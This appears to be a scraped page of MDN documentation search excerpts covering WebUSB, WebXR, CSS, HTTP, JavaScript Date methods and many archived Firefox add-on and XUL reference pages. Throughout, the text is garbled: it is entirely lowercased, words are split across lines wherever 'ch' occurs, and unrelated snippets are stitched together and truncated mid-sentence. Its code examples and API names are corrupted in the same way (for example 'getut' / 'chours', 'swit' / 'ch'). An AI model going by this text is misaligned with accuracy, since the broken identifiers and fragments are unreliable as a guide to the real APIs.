chronoustransferout() method of the usbdevice interface returns a promise that resolves with a usbiso
chronousouttransferresult when time sensitive information has been transmitted to the usb device.
... syntax var promise = usbdevice.iso
chronoustransferout(endpointnumber, data, packetlengths) parameters endpointnumber the number of a device-specific endpoint (buffer).
... return value a promise that resolves with a usbiso
chronousouttransferresult.
... specifications specification status comment webusbthe definition of 'iso
chronoustransferout()' in that specification.
USBIsochronousOutTransferResult - Web APIs
the usbiso
chronousouttransferresult interface of the webusb api provides the result from a call to the iso
chronoustransferout() method of the usbdevice interface.
... constructor usbiso
chronousouttransferresult.usbiso
chronousouttransferresult() creates a new usbiso
chronousouttransferresult object with the provided packet field.
... properties usbiso
chronousouttransferresult.packetsread only returns an array of usbiso
chronousouttransferpacket objects containing the result of ea
ch request to send a packet to the device.
... specifications specification status comment webusbthe definition of 'usbiso
chronousouttransferresult' in that specification.
WebGLRenderingContext.detachShader() - Web APIs
the webglrenderingcontext.deta
chshader() method of the webgl api deta
ches a previously atta
ched webglshader from a webglprogram.
... syntax void gl.deta
chshader(program, shader); parameters program a webglprogram.
... specifications specification status comment webgl 1.0the definition of 'deta
chshader' in that specification.
... opengl es 2.0the definition of 'gldeta
chshader' in that specification.
WindowEventHandlers.onlanguagechange - Web APIs
the onlanguage
change property of the windoweventhandlers mixin is the eventhandler for processing language
change events.
...su
ch an event is sent by the browser to inform that the preferred languages list has been updated.
... syntax object.onlanguage
change = function; value function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, su
ch as function(event) {...}.
... example window.onlanguage
change = function(event) { console.log('language
change event detected!'); }; specifications specification status comment html living standardthe definition of 'windoweventhandler.onlanguage
change' in that specification.
XRInputSourcesChangeEvent.added - Web APIs
the read-only xrinputsources
changeevent property added is a list of zero or more input sources, ea
ch identified using an xrinputsource object, whi
ch have been newly made available for use.
... syntax let addedinputs = xrinputsources
changeevent.added; value an array of zero or more xrinputsource objects, ea
ch representing one input device added to the xr system.
... examples the example below creates a handler for the inputsources
change event that processes the lists of added and removed from the webxr system.
... xrsession.oninputsourcesc
change = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsources
changeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
the read-only xrinputsources
changeevent property removed is an array of zero or more xrinputsource objects representing the input sources whi
ch have been removed from the xrsession.
... syntax removedinputs = xrinputsources
changeevent.removed; value an array of zero or more xrinputsource objects, ea
ch representing one input device removed from the xr system.
... examples the example below creates a handler for the inputsources
change event that processes the lists of added and removed from the webxr system.
... xrsession.oninputsourcesc
change = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsources
changeevent.removed' in that specification.
XRSession: inputsourceschange event - Web APIs
the inputsources
change event is sent to an xrsession when the set of available webxr input devices
changes.
... the received event, of type xrinputsources
changeevent, contains a list of any newly added and/or removed input devices.
... bubbles yes cancelable no interface xrinputsources
changeevent event handler property oninputsources
change the event object contains lists of the newly-added and/or removed input devices in its added and removed properties.
... examples specifications specification status comment webxr device apithe definition of 'inputsources
change event' in that specification.
-webkit-touch-callout - CSS: Cascading Style Sheets
the -webkit-tou
ch-callout css property controls the display of the default callout shown when you tou
ch and hold a tou
ch target.
... when a target is tou
ched and held on ios, safari displays a callout information about the link.
... /* keyword values */ -webkit-tou
ch-callout: default; -webkit-tou
ch-callout: none; /* global values */ -webkit-tou
ch-callout: initial; -webkit-tou
ch-callout: inherit; -webkit-tou
ch-callout: unset; syntax values default the default callout is displayed.
... formal definition initial valuedefaultapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax default | none examples turn off tou
ch callout .example { -webkit-tou
ch-callout: none; } specifications not part of any standard.
Accept-Patch - HTTP
the accept-pat
ch response http header advertises whi
ch media-type the server is able to understand.
... accept-pat
ch in response to any method means that pat
ch is allowed on the resource identified by the request-uri.
... two common cases lead to this: a server receiving a pat
ch request with an unsupported media type could reply with 415 unsupported media type and an accept-pat
ch header referencing one or more supported media types.
... header type response header forbidden header name yes syntax accept-pat
ch: application/example, text/example accept-pat
ch: text/example;
charset=utf-8 accept-pat
ch: application/merge-pat
ch+json directives none examples accept-pat
ch: application/example, text/example accept-pat
ch: text/example;
charset=utf-8 accept-pat
ch: application/merge-pat
ch+json specifications specification title rfc 5789, section 3.1: accept-pat
ch http pat
ch ...
InternalError: too much recursion - JavaScript
the javascript exception "too mu
ch recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.
... message error: out of stack space (edge) internalerror: too mu
ch recursion (firefox) rangeerror: maximum call stack size exceeded (
chrome) error type internalerror.
... function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff loop(x + 1); // the recursive call } loop(0); setting this condition to an extremely high value, won't work: function loop(x) { if (x >= 1000000000000) return; // do stuff loop(x + 1); } loop(0); // internalerror: too mu
ch recursion this recursive function is missing a base case.
... function loop(x) { // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too mu
ch recursion class error: too mu
ch recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony = new person(); tony.name = "tonisha"; // internalerror: too mu
ch recursion when a value is assigned to the property name (this.name = name;) javascript needs to set that property.
Date.prototype.getUTCHours() - JavaScript
the getut
chours() method returns the hours in the specified date according to universal time.
... syntax dateobj.getut
chours() return value an integer number, between 0 and 23, representing the hours in the given date according to universal time.
... examples using getut
chours() the following example assigns the hours portion of the current time to the variable hours.
... var today = new date(); var hours = today.getut
chours(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getut
chours' in that specification.
Date.prototype.setUTCHours() - JavaScript
the setut
chours() method sets the hour for a specified date according to universal time, and returns the number of milliseconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance.
... syntax dateobj.setut
chours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) parameters hoursvalue an integer between 0 and 23, representing the hour.
... if a parameter you specify is outside of the expected range, setut
chours() attempts to update the date information in the date object accordingly.
... examples using setut
chours() var thebigday = new date(); thebigday.setut
chours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setut
chours' in that specification.
<xsl:for-each> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:for-ea
ch> element selects a set of nodes and processes ea
ch of them in the same way.
... it is often used to iterate through a set of nodes or to
change the current node.
... if one or more <xsl:sort> elements appear as the
children of this element, sorting occurs before processing.
... syntax <xsl:for-ea
ch select=expression> <xsl:sort> [optional] template </xsl:for-ea
ch> required attributes select uses an xpath expression to select nodes to be processed.
Loading Content Scripts - Archive of obsolete content
the constructors for content-script-using objects su
ch as panel and page-mod define a group of options for loading content scripts: contentscript string, array contentscriptfile string, array contentscriptwhen string contentscriptoptions object we have already seen the contentscript option, whi
ch enables you to pass in the text of the script itself as a string literal.
... the contentscriptfile option enables you to pass in the local file url from whi
ch the content script will be loaded.
...contentscriptfile: data.url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, whi
ch can also interact directly with ea
ch other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
Working with Events - Archive of obsolete content
objects emit events on state
changes that might be of interest to add-on code, su
ch as browser windows opening, pages loading, network requests completing, and mouse clicks.
... so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, su
ch as tabs opening, pages loading, mouse clicks sending and receiving user-defined events between content scripts and add-on code this guide only covers the first of these; the second is explained in the working with content scripts guide.
...this is a function whi
ch will be called whenever the event occurs.
addon-page - Archive of obsolete content
usage with the add-on sdk you can present information to the user, su
ch as a guide to using your add-on, in a browser tab.
... for pages like this, navigational elements su
ch as the awesome bar, sear
ch bar, or bookmarks toolbar are not usually relevant and distract from the content you are presenting.
... the addon-page module provides a simple way to have a page whi
ch excludes these elements.
selection - Archive of obsolete content
ea
ch listener will be called after a selection is made.
...ea
ch iteration yields a selection object from whi
ch text, html, and iscontiguous properties can be accessed.
... iscontiguous true if the current selection is a single, contiguous selection, and false if there are two or more discrete selections, ea
ch of whi
ch may or may not be spatially adjacent.
High-Level APIs - Archive of obsolete content
unless the documentation explicitly says otherwise, all these modules are "stable": we'll avoid making incompatible
changes to them.
... page-mod run scripts in the context of web pages whose url mat
ches a given pattern.
... private-browsing
check whether a given object is private, so an add-on can respect private browsing querystring utility functions for working with query strings.
core/namespace - Archive of obsolete content
provides an api for creating namespaces for objects, whi
ch effectively may be used for creating fields that are not part of objects public api.
... } view.prototype.destroy = function destroy() { let { element } = dom(this); element.parentnode.remove
child(element); // ...
... also, multiple namespaces can be used with one object: // ./widget.js let { cu } = require('
chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note this is completely independent from view's internal namespace object.
jpm-mobile - Archive of obsolete content
someone else may have had the same problem you do, so try sear
ching the list.
...you can also
chat with other sdk users in #jetpack on mozilla's irc network.
... command reference there are currently two jpm commands: jpm-mobile run laun
ch an instance of firefox with your add-on installed.
Implementing the widget - Archive of obsolete content
this hierar
chy isn't mandatory; you could just keep them all under data.
... main.js now in the lib directory open main.js and add the following code: var widgets = require('sdk/widget'); var data = require('sdk/self').data; var annotatorison = false; function toggleactivation() { annotatorison = !annotatorison; return annotatorison; } exports.main = function() { var widget = widgets.widget({ id: 'toggle-swit
ch', label: 'annotator', contenturl: data.url('widget/pencil-off.png'), contentscriptwhen: 'ready', contentscriptfile: data.url('widget/widget.js') }); widget.port.on('left-click', function() { console.log('activate/deactivate'); widget.contenturl = toggleactivation() ?
...you should see the widget in the add-on bar: left- and right-clicks should produce the appropriate debug output, and a left-click should also
change the widget icon to signal that it is active.
LookupPrefix - Archive of obsolete content
here is an implementation of lookupprefix whi
ch should work cross-browser.
...tenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code whi
ch were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use this in text/html for mozilla as will return null return node.lookupprefix(namespaceuri); } if (namespaceuri === null || namespaceuri === '') { return null; } swit
ch (node.nodetype) { case 1: // node.element_node return _lookupnamespaceprefix(namespaceuri, node); case 9: // node.document_n...
...paceuri(originalelement.prefix) === namespaceuri) { return originalelement.prefix; } if (originalelement.attributes && originalelement.attributes.length) { for (var i=0; i < originalelement.attributes.length; i++) { var att = originalelement.attributes[i]; xmlnspattern.lastindex = 0; var localname = att.localname || att.name.substr(att.name.indexof(':')+1); // latter test for ie whi
ch doesn't support localname if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = localname.substr(att.name.indexof(':')+1); } if ( xmlnspattern.test(att.name) && att.value === namespaceuri && lookupnamespaceuri(originalelement, localname) === namespaceuri ) { return localname; } } } if (originalelement.parentnode) { // entityrefe...
Scrollbar - Archive of obsolete content
example assumes a structure like this: app/
chrome/
chrome.manifest app/
chrome/skin/global/ copy the scrollbars.css from xulrunner/
chrome/classic.jar/skin/classic/global to app/
chrome/skin/global/scrollbars.css open the app/
chrome/
chrome.manifest and add: skin app-global standard/1.0 skin/global/ override
chrome://global/skin/xulscrollbars.css
chrome://app-global/skin/scrollbars.css xulscrollbars.css are used for windows xp, and nativescrollbars.css on osx.
... so to make this work with osx, make an extra override: override
chrome://global/skin/nativescrollbars.css
chrome://app-global/skin/scrollbars.css
change some color values inside the app/
chrome/skin/global/scrollbars.css to test that the css is used.
... example xul window: <?xml version="1.0"?> <?xml-stylesheet href="
chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Tree - Archive of obsolete content
expanding/collapsing all tree nodes to expand all tree nodes: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && !treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } to collapse all tree nodes just
change the condition: var treeview = tree.treeboxobject.view; for (var i = 0; i < treeview.rowcount; i++) { if (treeview.iscontainer(i) && treeview.iscontaineropen(i)) treeview.toggleopenstate(i); } getting the text from the selected row assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="ontreeselected()"> use the following javascript: function ontreeselected(){ var tree = document.getelementbyid("my-tree"); var cellindex = 0; var celltext = tr...
... getting the cell from a mouse click your first
choice is likely to try <treecell onclick="yourfunc();"/> or something similar.
...for example, assuming the given <tree>: <tree id="my-tree" onclick="ontreeclicked(event)"> use the following javascript: function ontreeclicked(event){ var tree = document.getelementbyid("my-tree"); var tbo = tree.treeboxobject; // get the row, col and
child element at the point var row = { }, col = { },
child = { }; tbo.getcellat(event.clientx, event.clienty, row, col,
child); var celltext = tree.view.getcelltext(row.value, col.value); alert(celltext); } getting the selected indices of a multiselect tree var start = {}, end = {}, numranges = tree.view.selection.getrangecount(), selectedindices = []; for (var t = 0; t < numranges;...
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window themselves: <script type="application/javascript" src="
chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
...pass this if you want to attempt to load the document source out of the network ca
che.
... apagedescriptor (optional) a "descriptor" that allows the source to be retrieved from the network ca
che.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other me
chanism) to download javascript or json (they are different) from a remote website.
... the practice is dangerous because the decoded javascript has full
chrome privileges and could perform some nasty actions.
...this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for ea
ch script
change.
Extension Theming Guidelines - Archive of obsolete content
skin packages just as extension code should exist in
chrome content packages, all of the styling for an extension including css and images should exist in a
chrome skin package.
... branding certain items of your extensions style, in particular logos and icons can be kept in the
chrome content package su
ch that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your
chrome skin package.
...in this case you should add a stylesheet to your
chrome content package and apply the bindings there.
Migrating raw components to add-ons - Archive of obsolete content
what's worse, though, is that these components don't have a me
chanism for specifying the versions of firefox with whi
ch they are compatible, leading to poor integration and instability as users upgrade their firefox installations.
... the firefox extension me
chanism allows you to do everything that you could do through direct component drops, but also gives you and your users extra flexibility and more sophisticated versioning support.
...as you'll see, add-ons give you mu
ch more flexibility than simply loading a component, but in order to get started, all you'll need is your directory structure and install manifest.
Overlay extensions - Archive of obsolete content
this page contains links to documentation for the approa
ch to developing extensions for gecko-based applications whi
ch uses: xul overlays to specify the interface apis available to privileged code, su
ch as tabbrowser and javascript modules, to interact with the application and content.
...this methodology has largely been superseded by restartless extensions, and the add-on sdk, whi
ch is built on top of them.
... xul s
chool xul s
chool is a comprehensive add-on development tutorial, focusing on firefox extension development but mostly applicable to other gecko-based applications.
Beginner tutorials - Archive of obsolete content
this page includes ar
chived beginners tutorials, from various places around mdn.
... creating reusable content with css and xblthis page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore
character in css can lead to major display problems in multiple browsers.
...this te
chnical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces.
DOMSubtreeModified - Archive of obsolete content
example the following code will display the time of last dom
change on the title bar of the page.
... this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to
change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is
changed via cssom for example).
... document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom
changed at ' + new date(); }, false); ...
downloading - Archive of obsolete content
the downloading event is fired after
checking for an application ca
che update, if the user agent has found an update and is fet
ching it, or is downloading the resources listed by the ca
che manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate progress ca
ched updateready obsolete error ...
error - Archive of obsolete content
the error event is fired when an error occurred while downloading the ca
che manifest or updating the content of the application.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate downloading progress ca
ched updateready obsolete error ...
noupdate - Archive of obsolete content
the noupdate event is fired after
checking for an application ca
che update, if the manifest hasn't
changed.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate downloading progress ca
ched updateready obsolete error ...
obsolete - Archive of obsolete content
the obsolete event is fired when the manifest was found to have become a 404 or 410 page, so the application ca
che is being deleted.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate downloading progress ca
ched updateready obsolete error ...
updateready - Archive of obsolete content
the updateready event is fired when the resources listed in the application ca
che manifest have been newly redownloaded, and the script can use swapca
che() to swit
ch to the new ca
che.
... general info specification offline interface event bubbles no cancelable no target applicationca
che default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events
checking noupdate downloading progress ca
ched updateready obsolete error ...
cert_override.txt - Archive of obsolete content
m:443 oid.2.16.840.1.101.3.4.2.1 00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:ff:ee:dd:cc:bb:aa:99:88:77:66:55:44:33:22:11:00 u aaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaa== fields fields are separated by a tab
character.
... ea
ch line is terminated by a line feed
character (unix format).
... domainname:port : port 443 for https (ssl) hash algorithm oid sha1-256: oid.2.16.840.1.101.3.4.2.1 (most used) sha-384: oid.2.16.840.1.101.3.4.2.2 sha-512: oid.2.16.840.1.101.3.4.2.3 certificate fingerprint using previous hash algorithm one or more
characters for override type: m : allow mismat
ches in the hostname u : allow untrusted certs (whether it's self signed cert or a missing or invalid issuer cert) t : allow errors in the validity time, for example, for expired or not yet valid certs certificate's serial number and the issuer name as a base64 encoded string ...
Automated testing tips and tricks - Archive of obsolete content
todo:
check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/
chrome to map
chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -
chrome
chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${pro...
...file_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -
chrome
chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created.
... in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with
chrome privileges using a
chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -
chrome
chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from
chrome use the domcontentloaded event
chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
reloadWithFlags - Archive of obsolete content
the flags listed below may be used, whi
ch are all constants of the webnavigation property (or the nsiwebnavigation interface).
... load_flags_bypass_ca
che: reload the page, ignoring if it is already in the ca
che.
... load_flags_
charset_
change: this flag is used if the document needs to be reloaded because the
character set
changed.
Floating Panels - Archive of obsolete content
floating panels a floating panel is used for secondary popups su
ch as tool palettes and property inspector panels.
... it will have a titlebar whi
ch the user may use to move the panel around on the screen.
...currently, only the value normal is supported, whi
ch creates a default titlebar.
currentIndex - Archive of obsolete content
you cannot rely on this property to
change or determine a tree selection, except for trees with seltype="single".
... (all trees have seltype="multiple" by default.) to reliably
change or determine a selection, instead use the nsitreeselection interface methods available via tree.view.selection.
...eerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.view.selection; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="url" flex="1"/> </treecols> <tree
children> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lun
ch"/> </treerow> </treeitem> </tree
children> </tree> see also listbox.currentindex ...
tag - Archive of obsolete content
if set, the conditions will only mat
ch if the template builder is parsing content for an element directly inside this tag.
... for example, by using a value of tree
children, the condition will only mat
ch when placing elements directly inside a tree
children tag.
... thus, nested elements will not mat
ch because they are directly inside a treeitem.
uri - Archive of obsolete content
when a rule is evaluated, it scans through ea
ch resource in the rdf datasource looking for a mat
ch.
... ea
ch resource is placed in the variable specified in the uri attribute in turn.
... then, the other rules are evaluated for a mat
ch.
Recursive Generation - Archive of obsolete content
this extra arrow whi
ch neither b or d have causes an extra set of buttons to be created.
...however, since c is the only element that will end up having any additional content, only the second <hbox> element will have additional
children added to it.
...however, for item c, the triple does mat
ch an item, so the data will be added to the potential result: (?start = http://www.xulplanet.com/rdf/c, ?relateditem = http://www.xulplanet.com/rdf/d) a mat
ch has occured, so the content within the action body will be created and added inside item c.
Using multiple DTDs - Archive of obsolete content
single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "
chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "
chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "
chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
...<button id="okbutton" label="&okbutton.label"> note that there is no su
ch thing as namespaces with multiple dtds.
XUL FAQ - Archive of obsolete content
some things to
check when you have issues with your prefwindow-based options window: does ea
ch prefpane have a unique id?
... does ea
ch prefpane contains a <preferences></preferences> block, even if empty?
...if you want to access elements inside <prefpane>, you should put script in the <prefpane> or write script into "onpaneload" of the <prefpane>.) note, that prefwindow only works in
chrome xul.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser
checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer ri
chlistbox ri
chlistitem row rows rule scale sc...
... stringbundleset tab tabbrowser (firefox-only starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell tree
children treecol treecols treeitem treerow treeseparator triple vbox where window wizard wizardpage categorical list of all xul elements « xul reference « windows window wizard wizardpage titlebar window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring tabs ...
... iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption separator spacer button
checkbox colorpicker datepicker menulist progressmeter radio radiogroup scale splitter textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker description label image listbox listitem listcell listcol listcols listhead listheader ri
chlistbox ri
chlistitem tree treecell tree
children treecol treecols treeitem treerow treeseparator box hbox vbo...
bindings - Archive of obsolete content
predicate type: uri the predicate or property to mat
ch.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
columns - Archive of obsolete content
child column elements define the individual columns to appear in the grid.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, column, rows, row.
conditions - Archive of obsolete content
if all variables can be replaced, the rule mat
ched.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
dialogheader - Archive of obsolete content
attributes crop, description, title examples <?xml version="1.0"?> <?xml-stylesheet href="
chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <dialogheader title="my dialog" description="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by t...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements dialog, window ...
dropmarker - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a dropmarker is a button with an arrow whi
